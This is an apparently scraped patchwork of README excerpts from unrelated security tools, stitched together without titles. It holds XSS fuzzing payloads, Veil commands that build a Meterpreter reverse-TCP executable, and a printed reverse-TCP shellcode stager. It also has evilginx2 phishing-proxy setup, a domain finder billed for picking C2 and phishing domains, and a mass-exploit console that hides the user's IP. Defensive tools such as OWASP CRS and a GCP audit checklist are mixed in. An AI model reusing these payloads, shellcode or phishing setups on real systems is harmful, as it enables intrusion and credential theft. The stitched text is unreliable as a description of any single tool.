• Finding new XSS vectors, for any browser
• Testing XSS payloads on GET and POST parameters
• Bypassing XSS Auditors in the browser
• Bypassing web application firewalls
• Exploiting HTML whitelist features

• The [TAG] placeholder with fuzzing list: img svg.
• The [EVENT] placeholder with fuzzing list: onerror onload.
• The [ATTR] placeholder with fuzzing list: src value.
• The payloads will use the mentioned placeholders, such as:

<[TAG] [ATTR]=Something [EVENT]=[SAVE_PAYLOAD] />

<img src=Something onerror=alert(unescape('%3Cimg%20src%3DSomething%20onerror%3D%5BSAVE_PAYLOAD%5D%20/%3E')); />
<img value=Something onerror=alert(unescape('%3Cimg%20value%3DSomething%20onerror%3D%5BSAVE_PAYLOAD%5D%20/%3E')); />
<img src=Something onload=alert(unescape('%3Cimg%20src%3DSomething%20onload%3D%5BSAVE_PAYLOAD%5D%20/%3E')); />
<img value=Something onload=alert(unescape('%3Cimg%20value%3DSomething%20onload%3D%5BSAVE_PAYLOAD%5D%20/%3E')); />
<svg src=Something onerror=alert(unescape('%3Csvg%20src%3DSomething%20onerror%3D%5BSAVE_PAYLOAD%5D%20/%3E')); />
<svg value=Something onerror=alert(unescape('%3Csvg%20value%3DSomething%20onerror%3D%5BSAVE_PAYLOAD%5D%20/%3E')); />
<svg src=Something onload=alert(unescape('%3Csvg%20src%3DSomething%20onload%3D%5BSAVE_PAYLOAD%5D%20/%3E')); />
<svg value=Something onload=alert(unescape('%3Csvg%20value%3DSomething%20onload%3D%5BSAVE_PAYLOAD%5D%20/%3E')); />

<svg src=Something onload=[SAVE_PAYLOAD] />
<svg value=Something onload=[SAVE_PAYLOAD] />
<img src=Something onerror=[SAVE_PAYLOAD] />

• Python

• Linux

root@ismailtasdelen:~# git clone https://github.com/ismailtasdelen/PyCPU.git
root@ismailtasdelen:~# cd PyCPU
root@ismailtasdelen:~/PyCPU# python PyCPU.py

[1] CPU All Information Gathering
[2] Default Information Gathering
[3] CPU Vulnerability Check
[4] Exit

processor : 0
vendor_id : GenuineIntel
cpu family : 6
model  : 69
model name : Intel(R) Core(TM) i5-4210U CPU @ 1.70GHz
stepping : 1
microcode : 0x1c
cpu MHz  : 1700.062
cache size : 3072 KB
physical id : 0
siblings : 4
core id  : 0
cpu cores : 2
apicid  : 0
initial apicid : 0
fpu  : yes
fpu_exception : yes
cpuid level : 13
wp  : yes
flags  : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc aperfmperf eagerfpu pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand lahf_lm abm epb tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid xsaveopt dtherm ida arat pln pts
bugs  :
bogomips : 4788.92
clflush size : 64
cache_alignment : 64
address sizes : 39 bits physical, 48 bits virtual
power management:
......

vendor_id : GenuineIntel
model name : Intel(R) Core(TM) i5-4200U CPU @ 1.60GHz
microcode : 0x24
cpu MHz  : 2446.218
cpu MHz  : 2574.107
cpu MHz  : 2294.998
cpu MHz  : 2295.091
cache size : 3072 KB

bugs  : cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf

root@ismailtasdelen:~# git clone https://github.com/ismailtasdelen/PyCPU.git

root@ismailtasdelen:~# git clone https://github.com/ismailtasdelen/PyCPU.git

Mail : ismailtasdelen@protonmail.com
Linkedin : https://www.linkedin.com/in/ismailtasdelen
GitHub : https://github.com/ismailtasdelen
Telegram : https://t.me/ismailtasdelen

• Whois Lookup
• Online Traceroute
• DNS Lookup
• Reverse DNS Lookup
• IP Location Lookup
• Port Scan
• HTTP Header Check

• In Install Python 3.7, enable Add Python 3.6 to PATH

git clone https://github.com/Sameera-Madhushan/Digger
cd Digger
pip3 install -r requirements.txt
python3 digger.py

• 5 October 2018
  
  • Fixed logic for filtering domains with desirable categorizations. Previously, some error conditions weren't filtered and would result in domains without a valid categorization making it into the final list.
• 4 October 2018
  
  • Tweaked parsing logic
  • Fixed changes parsed columns indexes
• 17 September 2018
  
  • Fixed Symantec WebPulse Site Review parsing errors caused by service updates
• 18 May 2018
  
  • Add --alexa switch to control Alexa ranked site filtering
• 16 May 2018
  
  • Update queries to increase probability of quickly finding a domain available for instant purchase. Previously, many reported domains had an "In Auction" or "Make an Offer" status. New criteria: .com|.net|.org + Alexa Ranked + Available for Purchase
  • Improved logic to filter out uncategorized and some potentially undesirable domain categorizations in the final text table and HTML output
  • Removed unnecessary columns from HTML report
• 6 May 2018
  
  • Fixed expired domains parsing when performing a keyword search
  • Minor HTML and text table output updates
  • Filtered reputation checks to only execute for .COM, .ORG, and .NET domains and removed check for Archive.org records when performing a default or keyword search. Credit to @christruncer for the original PR and idea.
• 11 April 2018
  
  • Added OCR support for CAPTCHA solving with tesseract. Thanks to t94j0 for the idea in AIRMASTER
  • Added support for input file list of potential domains (-f/--filename)
  • Changed -q/--query switch to -k/--keyword to better match its purpose
  • Added additional error checking for ExpiredDomains.net parsing
• 9 April 2018
  
  • Added -t switch for timing control. -t <1-5>
  • Added Google SafeBrowsing and PhishTank reputation checks
  • Fixed bug in IBMXForce response parsing
• 7 April 2018
  
  • Fixed support for Symantec WebPulse Site Review (formerly Blue Coat WebFilter)
  • Added Cisco Talos Domain Reputation check
  • Added feature to perform a reputation check against a single non-expired domain. This is useful when monitoring reputation for domains used in ongoing campaigns and engagements.
• 6 June 2017
  
  • Added python 3 support
  • Code cleanup and bug fixes
  • Added Status column (Available, Make Offer, Price, Backorder, etc)

• Retrieve specified number of recently expired and deleted domains (.com, .net, .org) from ExpiredDomains.net
• Retrieve available domains based on keyword search from ExpiredDomains.net
• Perform reputation checks against the Symantec WebPulse Site Review (BlueCoat), IBM x-Force, Cisco Talos, Google SafeBrowsing, and PhishTank services
• Sort results by domain age (if known) and filter for reputation
• Text-based table and HTML report output with links to reputation sources and Archive.org entry

pip3 install -r requirements.txt

• Debian/Ubuntu: apt-get install tesseract-ocr python3-imaging
  
• MAC OSX: brew install tesseract
  

usage: domainhunter.py [-h] [-a] [-k KEYWORD] [-c] [-f FILENAME] [--ocr]
                    [-r MAXRESULTS] [-s SINGLE] [-t {0,1,2,3,4,5}]
                    [-w MAXWIDTH] [-V]

Finds expired domains, domain categorization, and Archive.org history to determine good candidates for C2 and phishing domains

optional arguments:
-h, --help            show this help message and exit
-a, --alexa           Filter results to Alexa listings
-k KEYWORD, --keyword KEYWORD
                        Keyword used to refine search results
-c, --check           Perform domain reputation checks
-f FILENAME, --filename FILENAME
                        Specify input file of line delimited domain names to
                        check
--ocr                 Perform OCR on CAPTCHAs when challenged
-r MAXRESULTS, --maxresults MAXRESULTS
                        Number of results to return when querying latest
                        expired/deleted domains
-s SINGLE, --single SINGLE
                        Performs detailed reputation checks against a single
                        domain name/IP.
-t {0,1,2,3,4,5}, --timing {0,1,2,3,4,5}
                        Modifies request timing to avoid CAPTCHAs. Slowest(0)
                        = 90-120 seconds, Default(3) = 10-20 seconds,
                        Fastest(5) = no delay
-w MAXWIDTH, --maxwidth MAXWIDTH
                        Width of text table
-V, --version         show program's version number and exit

Examples:
./domainhunter.py -k apples -c --ocr -t5
./domainhunter.py --check --ocr -t3
./domainhunter.py --single mydomain.com
./domainhunter.py --keyword tech --check --ocr --timing 5 --alexa
./domaihunter.py --filename inputlist.txt --ocr --timing 5

python3 ./domainhunter.py

python3 ./domainhunter.py -r 1000

python3 ./domainhunter.py -s mydomain.com

[*] Downloading malware domain list from http://mirror1.malwaredomains.com/files/justdomains

[*] Fetching domain reputation for: mydomain.com
[*] Google SafeBrowsing and PhishTank: mydomain.com
[+] mydomain.com: No issues found
[*] BlueCoat: mydomain.com
[+] mydomain.com: Technology/Internet
[*] IBM xForce: mydomain.com
[+] mydomain.com: Communication Services, Software as a Service, Cloud, (Score: 1)
[*] Cisco Talos: mydomain.com
[+] mydomain.com: Web Hosting (Score: Neutral)

python3 ./domainhunter.py -f <domainslist.txt> -t 5 --ocr

python3 ./domainhunter.py -k dog -r 25 -c

 ____   ___  __  __    _    ___ _   _   _   _ _   _ _   _ _____ _____ ____
|  _ \ / _ \|  \/  |  / \  |_ _| \ | | | | | | | | | \ | |_   _| ____|  _ \
| | | | | | | |\/| | / _ \  | ||  \| | | |_| | | | |  \| | | | |  _| | |_) |
| |_| | |_| | |  | |/ ___ \ | || |\  | |  _  | |_| | |\  | | | | |___|  _ <
|____/ \___/|_|  |_/_/   \_\___|_| \_| |_| |_|\___/|_| \_| |_| |_____|_| \_\

Expired Domains Reputation Checker
Authors: @joevest and @andrewchiles

DISCLAIMER: This is for educational purposes only!
It is designed to promote education and the improvement of computer/cyber security.
The authors or employers are not liable for any illegal act or misuse performed by any user of this tool.
If you plan to use this content for illegal purpose, don't.  Have a nice day :)

[*] Downloading malware domain list from http://mirror1.malwaredomains.com/files/justdomains

[*] Fetching expired or deleted domains containing "dog"
[*]  https://www.expireddomains.net/domain-name-search/?q=dog

[*] Performing domain reputation checks for 8 domains.
[*] BlueCoat: doginmysuitcase.com
[+] doginmysuitcase.com: Travel
[*] IBM xForce: doginmysuitcase.com
[+] doginmysuitcase.com: Not found.
[*] Cisco Talos: doginmysuitcase.com
[+] doginmysuitcase.com: Uncategorized

[INFECTED MACHINE] ==HTTPS==> [GOOGLE TRANSLATE] ==HTTP==> [C2] 

python2.7 server.py

bash client.sh

• Description
• Installation
• Examples
• Presentations and Publications

• Dynamic Symbolic Execution
• Symbolic Execution Optimizations
• AST Representations of Semantics
• SMT Semantics Supported
• SMT Solver Interface
• SMT Simplification Passes
• Spread Taint
• Tracer Independent
• Python Bindings

• IRC: #qb_triton@freenode
• Mail: triton at quarkslab com

• Jonathan Salwan - Lead dev, Quarkslab
• Pierrick Brunet - Core dev, Quarkslab
• Florent Saudel - Core dev, Bordeaux University
• Romain Thomas - Core dev, Quarkslab

• Install Fiddler2
• Open Fiddler2
• Press Key CTRL + R or Rules> Customize Rules...
• Copy all script SampleRules.js
• Press Key CTRL + S for Save

• Thanks to allah
• Eka Syahwan (Creator) bugrecon / H1 / bugcrowd
• Edo Maland (Powerstager) https://github.com/Screetsec
• Jack Wilder admin in http://www.linuxsec.org

• GOFA: An active learning algorithm that infers symbolic representations of automata in the standard membership/equivalence query model.
  Active learning algorithms permits the analysis of filter and sanitizer programs remotely, i.e. given only the ability to query the targeted program and observe the output.
  
• SFADiff: A black-box differential testing algorithm based on Symbolic Finite Automata (SFA) learning
  Finding differences between programs with similar functionality is an important security problem as such differences can be used for fingerprinting or creating evasion attacks against security software like Web Application Firewalls (WAFs) which are designed to detect malicious inputs to web applications.

    sudo apt-get install flex
 sudo apt-get install python-pip
 sudo apt-get install python-dev
 sudo apt-get install build-essential

    sudo apt-get install libmysqlclient-dev

 sudo yum install -y python-pip
 sudo yum install -y python-devel
 sudo yum install -y wget
 sudo yum groupinstall -y 'Development Tools'

 sudo yum install -y mysql-devel 
 sudo yum install -y MySQL-python

git clone https://github.com/lightbulb-framework/lightbulb-framework
cd lightbulb-framework
make
lightbulb status

pip install setuptools --upgrade
pip install lightbulb-framework
lightbulb status

pip install virtualenv
virtualenv env
source env/bin/activate
pip install lightbulb-framework
lightbulb status

docker pull lightbulb/lightbulb-framework

• Download the latest Jython from here
• Find your local python packages installation folder*
• Configure Burp Extender to use these values, as shown below*

• Select the new LightBulb module ("BurpExtension.py") and set the extension type to be "Python"

• George Argyros
• Ioannis Stais
• Suman Jana
• Angelos D. Keromytis
• Aggelos Kiayias

• G. Argyros, I. Stais, S. Jana, A. D. Keromytis, and A. Kiayias. 2016. SFADiff: Automated Evasion Attacks and Fingerprinting Using Black-box Differential Automata Learning. In Proceedings of the 2016 ACM SIGSAC Conference on Computer and Communications Security (CCS '16). ACM, New York, NY, USA, 1690-1701. doi: 10.1145/2976749.2978383
• G. Argyros, I. Stais, A. Kiayias and A. D. Keromytis, "Back in Black: Towards Formal, Black Box Analysis of Sanitizers and Filters," 2016 IEEE Symposium on Security and Privacy (SP), San Jose, CA, 2016, pp. 91-109. doi: 10.1109/SP.2016.14

• Secret Keeper has the ability to generate a random encryption key base on the user input.
• Secret Keeper can successfully encrypt and decrypt .txt and .docx file types.

• In Install Python 3.7, enable Add Python 3.6 to PATH

git clone https://github.com/Sameera-Madhushan/Secret-Keeper
cd Secret-Keeper
pip3 install -r requirements.txt
python3 Secret-Keeper.py

1. Encryption of image files, audio files & video files using secret keeper may results corrupted outputs. Please make sure to have a backup before trying to encrypt above mentioned file types. (No issue with .txt and .docx file types) Please help me to fix this.
   
2. Please make sure to remember the encryption key you enter. If you lose it you’ll no longer be able to decrypt your files. If anyone else gains access to it, they’ll be able to decrypt all of your files.
   

• Debian 8+
• Kali Linux Rolling 2018.1+

• Arch Linux
• BlackArch Linux
• Deepin 15+
• Elementary
• Fedora 22+
• Linux Mint
• Parrot Security
• Ubuntu 15.10+

apt -y install veil
/usr/share/veil/config/setup.sh --force --silent

• Installation must be done with superuser privileges. If you are not using the root account (as default with Kali Linux), prepend commands with sudo or change to the root user before beginning.
• Your package manager may be different to apt.

sudo apt-get -y install git
git clone https://github.com/Veil-Framework/Veil.git
cd Veil/
./config/setup.sh --force --silent

--force ~ If something goes wrong, this will overwrite detecting any previous installs. Useful when there is a setup package update.
--silent ~ This will perform an unattended installation of everything, as it will automate all the steps, so there is no interaction for the user.

    Main Menu

            0 payloads loaded

• Python 3.3
• Py2Exe
• PyCrypto
• PyWin32

$ ./Veil.py
===============================================================================
                             Veil | [Version]: 3.1.6
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

Main Menu

  2 tools loaded

Available Tools:

  1)  Evasion
  2)  Ordnance

Available Commands:

  exit      Completely exit Veil
  info      Information on a specific tool
  list      List available tools
  options     Show Veil configuration
  update      Update Veil
  use     Use a specific tool

Veil>:

$ ./Veil.py --help
usage: Veil.py [--list-tools] [-t TOOL] [--update] [--setup] [--config]
               [--version] [--ip IP] [--port PORT] [--list-payloads]
               [-p [PAYLOAD]] [-o OUTPUT-NAME]
               [-c [OPTION=value [OPTION=value ...]]]
               [--msfoptions [OPTION=value [OPTION=value ...]]] [--msfvenom ]
               [--compiler pyinstaller] [--clean] [--ordnance-payload PAYLOAD]
               [--list-encoders] [-e ENCODER] [-b \x00\x0a..] [--print-stats]

Veil is a framework containing multiple tools.

[*] Veil Options:
  --list-tools          List Veil's tools
  -t TOOL, --tool TOOL  Specify Veil tool to use (Evasion, Ordnance etc.)
  --update              Update the Veil framework
  --setup               Run the Veil framework setup file & regenerate the
                        configuration
  --config              Regenerate the Veil framework configuration file
  --version             Displays version and quits

[*] Callback Settings:
  --ip IP, --domain IP  IP address to connect back to
  --port PORT           Port number to connect to

[*] Payload Settings:
  --list-payloads       Lists all available payloads for that tool

[*] Veil-Evasion Options:
  -p [PAYLOAD]          Payload to generate
  -o OUTPUT-NAME        Output file base name for source and compiled binaries
  -c [OPTION=value [OPTION=value ...]]
                        Custom payload module options
  --msfoptions [OPTION=value [OPTION=value ...]]
                        Options for the specified metasploit payload
  --msfvenom []         Metasploit shellcode to generate (e.g.
                        windows/meterpreter/reverse_tcp etc.)
  --compiler pyinstaller
                        Compiler option for payload (currently only needed for
                        Python)
  --clean               Clean out payload folders

[*] Veil-Ordnance Shellcode Options:
  --ordnance-payload PAYLOAD
                        Payload type (bind_tcp, rev_tcp, etc.)

[*] Veil-Ordnance Encoder Options:
  --list-encoders       Lists all available encoders
  -e ENCODER, --encoder ENCODER
                        Name of shellcode encoder to use
  -b \x00\x0a.., --bad-chars \x00\x0a..
                        Bad characters to avoid
  --print-stats         Print information about the encoded shellcode
$

$ ./Veil.py -t Evasion -p go/meterpreter/rev_tcp.py --ip 127.0.0.1 --port 4444
===============================================================================
                                   Veil-Evasion
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

runtime/internal/sys
runtime/internal/atomic
runtime
errors
internal/race
sync/atomic
math
sync
io
unicode/utf8
internal/syscall/windows/sysdll
unicode/utf16
syscall
strconv
reflect
encoding/binary
command-line-arguments
===============================================================================
                                   Veil-Evasion
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

 [*] Language: go
 [*] Payload Module: go/meterpreter/rev_tcp
 [*] Executable written to: /var/lib/veil/output/compiled/payload.exe
 [*] Source code written to: /var/lib/veil/output/source/payload.go
 [*] Metasploit Resource file written to: /var/lib/veil/output/handlers/payload.rc
$
$ file /var/lib/veil/output/compiled/payload.exe
/var/lib/veil/output/compiled/payload.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
$

$ ./Veil.py -t Ordnance --ordnance-payload rev_tcp --ip 127.0.0.1 --port 4444
===============================================================================
                                   Veil-Ordnance
===============================================================================
      [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
===============================================================================

 [*] Payload Name: Reverse TCP Stager (Stage 1)
 [*] IP Address: 127.0.0.1
 [*] Port: 4444
 [*] Shellcode Size: 287

\xfc\xe8\x86\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x8b\x4c\x10\x78\xe3\x4a\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x89\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x09\x68\x7f\x00\x00\x01\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3
$

• Identity & Access Management
• Networking
• Virtual Machines
• Storage
• Cloud SQL Instances
• Kubernetes Clusters

• Ensure that corporate login credentials are used instead of Gmail accounts.
• Ensure that there are only GCP-managed service account keys for each service account.
• Ensure that ServiceAccount has no Admin privileges.
• Ensure that IAM users are not assigned Service Account User role at project level.

• Ensure the default network does not exist in a project.
• Ensure legacy networks does not exists for a project.
• Ensure that DNSSEC is enabled for Cloud DNS.
• Ensure that RSASHA1 is not used for key-signing key in Cloud DNS DNSSEC.
• Ensure that RSASHA1 is not used for zone-signing key in Cloud DNS DNSSEC.
• Ensure that RDP access is restricted from the Internet.
• Ensure Private Google Access is enabled for all subnetwork in VPC Network.
• Ensure VPC Flow logs is enabled for every subnet in VPC Network.

• Ensure that instances are not configured to use the default service account with full access to all Cloud APIs.
• Ensure "Block Project-wide SSH keys" enabled for VM instances.
• Ensure oslogin is enabled for a Project.
• Ensure 'Enable connecting to serial ports' is not enabled for VM Instance.
• Ensure that IP forwarding is not enabled on Instances.

• Ensure that Cloud Storage bucket is not anonymously or publicly accessible.
• Ensure that logging is enabled for Cloud storage bucket.

• Ensure that Cloud SQL database instance requires all incoming connections to use SSL.
• Ensure that Cloud SQL database Instances are not open to the world.
• Ensure that MySql database instance does not allow anyone to connect with administrative privileges.
• Ensure that MySQL Database Instance does not allows root login from any host.

• Ensure Stackdriver Logging is set to Enabled on Kubernetes Engine Clusters.
• Ensure Stackdriver Monitoring is set to Enabled on Kubernetes Engine Clusters.
• Ensure Legacy Authorization is set to Disabled on Kubernetes Engine Clusters.
• Ensure Master authorized networks is set to Enabled on Kubernetes Engine Clusters.
• Ensure Kubernetes Clusters are configured with Labels.
• Ensure Kubernetes web UI / Dashboard is disabled.
• Ensure Automatic node repair is enabled for Kubernetes Clusters.
• Ensure Automatic node upgrades is enabled on Kubernetes Engine Clusters nodes.

• SQL Injection (SQLi)
• Cross Site Scripting (XSS)
• Local File Inclusion (LFI)
• Remote File Inclusion (RFI)
• Remote Code Execution (RCE)
• PHP Code Injection
• HTTP Protocol Violations    HTTPoxy
• Shellshock
• Session Fixation
• Scanner Detection
• Metadata/Error Leakages
• Project Honey Pot Blacklist
• GeoIP Country Blocking

• Over 90% reduction of false alerts in a default install
• A user-defined Paranoia Level to enable additional strict checks
• Application-specific exclusions for WordPress Core and Drupal
• Sampling mode runs the CRS on a user-defined percentage of traffic
• SQLi/XSS parsing using libinjection embedded in ModSecurity

git clone https://github.com/SpiderLabs/owasp-modsecurity-crs.git

Include /.../crs-setup.conf
Include /.../rules/*.conf

• Chaim Sanders (csanders-git) - Project Lead
• Walter Hop (lifeforms) - Core Developer
• Christian Folini (Twitter: @ChrFolini, GitHub: dune73) - Core Developer

• please use this tool only on authorized systems, im not responsible for any damage caused by users who ignore my warning
• exploits are adapted from other sources, please refer to their author info
• please note, due to my limited programming experience (it's my first Python project), you can expect some silly bugs

• an easy-to-use cli ui
• execute any adpated exploits with process-level concurrency
• some built-in exploits (automated)
• hide your ip addr using proxychains4 and ss-proxy (built-in)
• zoomeye host scan (10 threads)
• a simple baidu crawler (multi-threaded)
• censys host scan

git clone https://github.com/jm33-m0/massExpConsole.git && cd massExpConsole&& ./install.py

• when installing pypi deps, apt-get install libncurses5-dev (for Debian-based distros) might be needed
• now you should be good to go (if not, please report missing deps here)
• type proxy command to run a pre-configured Shadowsocks socks5 proxy in the background, vim ./data/ss.json to edit proxy config. and, ss-proxy exits with mec.py

• GNU/Linux, WSL, MacOS (not tested), fully tested under Arch Linux, Kali Linux (Rolling, 2018), Ubuntu Linux (16.04 LTS) and Fedora 25 (it will work on other distros too as long as you have dealt with all deps)
• Python 3.5 or later (or something might go wrong, https://github.com/jm33-m0/massExpConsole/issues/7#issuecomment-305962655)
• proxychains4 (in $PATH), used by exploiter, requires a working socks5 proxy (you can modify its config in mec.py)
• Java is required when using Java deserialization exploits, you might want to install openjdk-8-jre if you haven't installed it yet
• note that you have to install all the deps of your exploits or tools as well

• just run mec.py, if it complains about missing modules, install them
• if you want to add your own exploit script (or binary file, whatever):
  • cd exploits, mkdir <your_exploit_dir>
  • your exploit should take the last argument passed to it as its target, dig into mec.py to know more
  • chmod +x <exploit> to make sure it can be executed by current user
  • use attack command then m to select your custom exploit
• type help in the console to see all available features
• zoomeye requires a valid user account config file zoomeye.conf

export GOPATH=$HOME/go
export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin

sudo apt-get install git make
go get -u github.com/kgretzky/evilginx2
cd $GOPATH/src/github.com/kgretzky/evilginx2
make

sudo ./bin/evilginx -p ./phishlets/

sudo make install
sudo evilginx

docker build . -t evilginx2

docker run -it -p 53:53/udp -p 80:80 -p 443:443 evilginx2

unzip <package_name>.zip -d <package_name>
cd <package_name>

chmod 700 ./install.sh
sudo ./install.sh
sudo evilginx

chmod 700 ./evilginx
sudo ./evilginx

Usage of ./evilginx:
  -debug
        Enable debug output
  -developer
        Enable developer mode (generates self-signed certificates for all hostnames)
  -p string
        Phishlets directory path

ns1.yourdomain.com = 10.0.0.1
ns2.yourdomain.com = 10.0.0.1

config domain yourdomain.com
config ip 10.0.0.1

phishlets hostname linkedin my.phishing.hostname.yourdomain.com

phishlets enable linkedin

phishlets get-url linkedin https://www.google.com

sessions

sessions <id>

• Splunk 7.1.3 >
• Python 2.7.14 > ($SPLUNK_HOME/bin/python)

1. Open a terminal and run the following commands as the user running Splunk:

cd /opt/splunk/etc/apps
git clone https://github.com/leunammejii/osweep.git
mv osweep-master osweep
sudo -H -u $SPLUNK_USER /opt/splunk/bin/splunk restart # $SPLUNK_USER = User running Splunk

2. Edit "config.py" and add the necessary values as strings to the config file:

vim ./osweep/etc/config.py

cd /opt/splunk/etc/apps/osweep/bin
bash py_pkg_update.sh

• crtsh - https://crt.sh/
• cybercrimeTracker - http://cybercrime-tracker.net/index.php
• cymon - https://cymon.io/
• greyNoise - https://greynoise.io/
• phishingCatcher - https://github.com/x0rz/phishing_catcher
• phishingKitTracker - https://github.com/neonprimetime/PhishingKitTracker
• ransomwareTracker - https://ransomwaretracker.abuse.ch/
• threatcrowd - https://www.threatcrowd.org/
• twitter - https://twitter.com/
• urlhaus - https://urlhaus.abuse.ch/
• urlscan - https://urlscan.io/

1. Switch to the The Round Table dashboard in the OSweep™ app.
2. Add the list of IOCs to the "IOC (+)" textbox to know which source has the most information.
3. Click "Submit".
4. After the panels have populated, click on one to be redirected to the corresponding dashboard to see the results.

1. Switch to the Certificate Search dashboard in the OSweep™ app.
2. Add the list of IOCs to the "Domain, IP (+)" textbox.
3. Select "Yes" or "No" from the "Wildcard" dropdown to search for subdomains.
4. Click "Submit".

| crtsh <DOMAINS>
| fillnull value="-"
| search NOT "issuer ca id"="-"
| dedup "issuer ca id" "issuer name" "name value" "min cert id" "min entry timestamp" "not before" "not after"
| table "issuer ca id" "issuer name" "name value" "min cert id" "min entry timestamp" "not before" "not after"
| sort - "min cert id"

| crtsh subdomain<DOMAINS>
| fillnull value="-"
| search NOT "issuer ca id"="-"
| dedup "issuer ca id" "issuer name" "name value" "min cert id" "min entry timestamp" "not before" "not after"
| table "issuer ca id" "issuer name" "name value" "min cert id" "min entry timestamp" "not before" "not after"
| sort - "min cert id"

| crtsh wildcard <DOMAINS>
| fillnull value="-"
| search NOT "issuer ca id"="-"
| dedup "issuer ca id" "issuer name" "name value" "min cert id" "min entry timestamp" "not before" "not after"
| table "issuer ca id" "issuer name" "name value" "min cert id" "min entry timestamp" "not before" "not after"
| sort - "min cert id"

1. Switch to the CyberCrime Tracker dashboard in the OSweep™ app.
2. Add the list of IOCs to the 'Domain, IP (+)' textbox.
3. Select whether the results will be grouped and how from the dropdowns.
4. Click 'Submit'.

| cybercrimeTracker <IOCs>
| fillnull value="-"
| search NOT date="-"
| dedup date url ip "vt latest scan" "vt ip info" type
| table date url ip "vt latest scan" "vt ip info" type

1. Switch to the Cymon dashboard in the OSweep™ app.
2. Add the list of IOCs to the "Domain, IP, MD5, SHA256 (+)" textbox.
3. Select whether the results will be grouped and how from the dropdowns.
4. Click "Submit".

| cymon <IOCs>
| table "feed id" feed title description tags timestamp ip url hostname domain md5 sha1 sha256 ssdeep "reported by" country city lat lon

1. Manually download data feed (one-time only)

| greyNoise feed

2. Switch to the GreyNoise dashboard in the OSweep™ app.
3. Add the list of IOCs to the 'Domain, IP, Scanner Name (+)' textbox.
4. Select whether the results will be grouped and how from the dropdowns.
5. Click 'Submit'.

| greynoise <IOCs>
| fillnull value="-" 
| search NOT "last updated"="-" 
| dedup category confidence "last updated" name ip intention "first seen" datacenter tor "rdns parent" link org os asn rdns
| table category confidence "last updated" name ip intention "first seen" datacenter tor "rdns parent" link org os asn rdns
| sort - "Last Updated"

1. Switch to the Phishing Catcher dashboard in the OSweep™ app.
2. Select whether you want to monitor the logs in realtime or add a list of domains.
3. If Monitor Mode is "Yes":
   • Add a search string to the 'Base Search' textbox.
   • Add the field name of the field containing the domain to the "Field Name" textbox.
   • Select the time range to search.
4. If Monitor Mode is "No":
   • Add the list of domains to the 'Domain (+)' textbox.
5. Click 'Submit'.

| phishingCatcher <DOMAINS>
| table domain "threat level" score

1. Manually download data feed (one-time only)

| phishingKitTracker feed

2. Switch to the Phishing Kit Tracker dashboard in the OSweep™ app.

1. Manually download data feed (one-time only)

| ransomwareTracker feed

2. Switch to the Ransomare Tracker dashboard in the OSweep™ app.
3. Add the list of IOCs to the 'Domain, IP, Malware, Status, Threat, URL (+)' textbox.
4. Select whether the results will be grouped and how from the dropdowns.
5. Click 'Submit'.

| ransomwareTracker <DOMAINS>
| fillnull value="-" 
| search NOT "firstseen (utc)"="-"
| dedup "firstseen (utc)" threat malware host "ip address(es)" url status registrar asn(s) country
| table "firstseen (utc)" threat malware host "ip address(es)" url status registrar asn(s) country
| sort "firstseen (utc)"

1. Switch to the ThreatCrowd dashboard in the OSweep™ app.
2. Add the list of IOCs to the 'IP, Domain, or Email (+)' textbox.
3. Select the IOC type.
4. Click 'Submit'.

1. Switch to the Twitter dashboard in the OSweep app.
2. Add the list of IOCs to the "Search Term (+)" textbox.
3. Click "Submit".

| twitter <IOCs>
| eval epoch=strptime(timestamp, "%+")
| fillnull value="-" 
| search NOT timestamp="-" 
| dedup timestamp tweet url 
| sort - epoch
| table timestamp tweet url hashtags "search term"

1. Manually download data feed (one-time only)

| urlhaus feed

2. Switch to the URLhaus dashboard in the OSweep™ app.
3. Add the list of IOCs to the 'Domain, IP, MD5, SHA256, URL (+)' textbox.
4. Select whether the results will be grouped and how from the dropdowns.
